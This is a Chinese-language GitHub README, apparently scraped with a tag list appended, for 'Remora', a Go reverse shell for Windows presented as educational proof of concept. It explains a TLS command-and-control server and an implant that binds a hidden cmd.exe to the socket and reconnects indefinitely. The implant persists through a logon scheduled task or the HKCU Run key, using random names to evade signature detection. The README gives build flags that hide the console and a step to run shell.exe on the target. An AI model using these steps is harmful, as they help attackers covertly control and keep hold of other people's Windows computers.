imightbeakira/Remora

GitHub: imightbeakira/Remora

Remora 是一个基于 Go 语言的 Windows 反向 shell 概念验证工具,演示了 TLS 加密 C2 通信、弹性重连和持久化机制的实现方式。

Stars: 5 | Forks: 0

# Remora Remora – 一个基于 Go 的 Windows 反向 shell [![用途](https://img.shields.io/badge/purpose-educational%2Fresearch-red)]() [![Go 版本](https://img.shields.io/badge/go-1.20+-blue)]() [![平台](https://img.shields.io/badge/target-windows-lightgrey)]() [![许可证](https://img.shields.io/badge/license-MIT-yellow)](LICENSE) ## 📖 Remora 是什么? **Remora** 是一个用 Go 编写的、针对 Windows 的概念验证反向 shell。 它演示了: - 基于 TLS 的 **加密 C2**(允许自签名证书) - **弹性重连** – 指数退避 + 随机抖动 - 通过计划任务或注册表自启动实现 **持久化** *Remora* 这个名字来源于一种会吸附在宿主身上的鱼类——这反映了其持久化的行为特性。 ## 🔎 概述 - **C2 服务器 (`server/`)** – 一个交互式监听器,等待单个连接,提供原生终端 shell,并处理 TLS 加密。 - **Windows shell (`shell/`)** – 一个小型二进制文件,用于回连服务器,生成 `cmd.exe`,安装持久化机制,并使用带有随机抖动的指数退避策略自动重连。 通信通过 TLS 使用自签名证书进行加密。服务器负责将终端设置为原生模式,从而为您提供一个完全交互式的命令提示符。 ## 🧠 工作原理 1. **shell** 不断尝试通过 TLS 连接到 C2 服务器(`InsecureSkipVerify: true`)。 2. 连接成功后,它会生成 `cmd.exe`,将其输入/输出绑定到套接字,并隐藏控制台窗口。 3. 第一次成功连接时还会触发持久化机制(见下文)。 4. **服务器** 接受连接,读取 agent 的输出,并将您的本地终端置于原生模式。您输入的每一行内容都会发送到 agent,响应内容将带有彩色提示符打印出来。 5. 当连接断开时,shell 会通过指数退避(从 5 秒开始,上限为 10 分钟)加上随机抖动进行等待,然后无限期地重试。 ### 持久化细节 | 方法 | 命令 / 注册表 | 触发条件 | |--------|--------------------|---------| | 主要 | `schtasks /create /tn /tr /sc onlogon /f` | 用户登录 | | 备用 | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` | 用户登录(无需管理员权限) | 这两种方法都使用随机生成的名称,以规避简单的特征检测。 ## ⚙️ 配置 ### Shell 编辑 `shell/` 中的 **shell 的 `main.go`**: ``` ip = "192.168.184.152" // Change this to your C2 server IP port = "443" // Change this to your C2 server port ``` ### 服务器 服务器会在运行时提示您输入监听端口。 它要求在其工作目录中存在 cert.pem 和 key.pem(按照下文所示生成它们)。 ## 🛠️ 构建与运行 ### 环境要求 - **Go 1.20+** ([下载](https://go.dev/dl/)) ## 步骤 ``` # 1. Clone 或下载 repo git clone https://github.com/imightbeakira/Remora.git cd Remora ``` ### 2. 初始化 Go 模块(如果尚未初始化) ``` go mod init github.com/imightbeakira/Remora go mod tidy ``` ### 3. 生成 TLS 证书 ``` cd server openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365 -subj "/CN=localhost" ``` ### 4. 运行服务器 ``` cd server go run main.go ``` ### 5. 构建 shell(Windows 目标) ``` cd shell GOOS=windows GOARCH=amd64 go build -ldflags="-H windowsgui" -o shell.exe main.go ``` ## 📡 使用 ### 启动 C2 服务器 ``` cd server go run main.go ``` ### 部署 shell 在目标 Windows 系统上执行 shell.exe。一旦它连接成功,服务器将打印:
标签:EVTX分析, Go语言, IP 地址批量处理, pdftotext, PoC, TGT, TLS加密, 反弹Shell, 反弹连接, 后门, 命令与控制, 安全测试, 安全测试工具, 底层编程, 恶意软件研究, 攻击性安全, 攻防演练, 教育目的, 数据展示, 日志审计, 暴力破解, 概念验证, 注册表自启动, 程序破解, 端点可见性, 红队, 网络安全, 网络通信, 自动化重连, 计划任务, 远程控制, 隐私保护